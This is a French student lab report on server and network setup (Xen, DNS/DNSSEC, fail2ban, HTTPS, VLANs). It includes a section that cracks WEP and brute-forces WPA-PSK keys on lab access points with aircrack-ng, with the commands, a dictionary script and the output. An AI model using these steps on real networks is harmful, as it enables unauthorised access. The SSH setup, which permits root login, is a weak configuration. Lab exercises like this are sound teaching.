Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l&#039;interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de &#039;&#039;&#039;synchroniser l&#039;heure&#039;&#039;&#039; du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec &#039;&#039;&#039;iptables&#039;&#039;&#039;, et consiste à donne une adresse IPv4 qui permet d&#039;accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les &#039;&#039;&#039;trois VMs&#039;&#039;&#039; on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite &#039;&#039;&#039;redémarrer&#039;&#039;&#039; le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La &#039;&#039;&#039;redirection du port ssh&#039;&#039;&#039; ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être &#039;&#039;&#039;décommentée&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS et DNSSEC ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d&#039;avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut &#039;&#039;&#039;commenter&#039;&#039;&#039; tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;restart&#039;&#039;&#039; le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On peut pour finir &#039;&#039;&#039;vérifier&#039;&#039;&#039; le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]]&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour &#039;&#039;&#039;lancer le service&#039;&#039;&#039; il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef &#039;&#039;&#039;deadpool.tech.key&#039;&#039;&#039; et les certificats &#039;&#039;&#039;GandiCert.pem&#039;&#039;&#039; et &#039;&#039;&#039;deadpool.tech.crt&#039;&#039;&#039; (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin &#039;&#039;&#039;lancer le cassage du mot de passe&#039;&#039;&#039; par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de &#039;&#039;&#039;savoir si le mot de passe à été trouvé&#039;&#039;&#039; (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
=== Partie VLAN ===&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se &#039;&#039;&#039;ssh sur le routeur&#039;&#039;&#039; via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Création du Vlan24&#039;&#039;&#039; avec le nom PoolAntonin :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
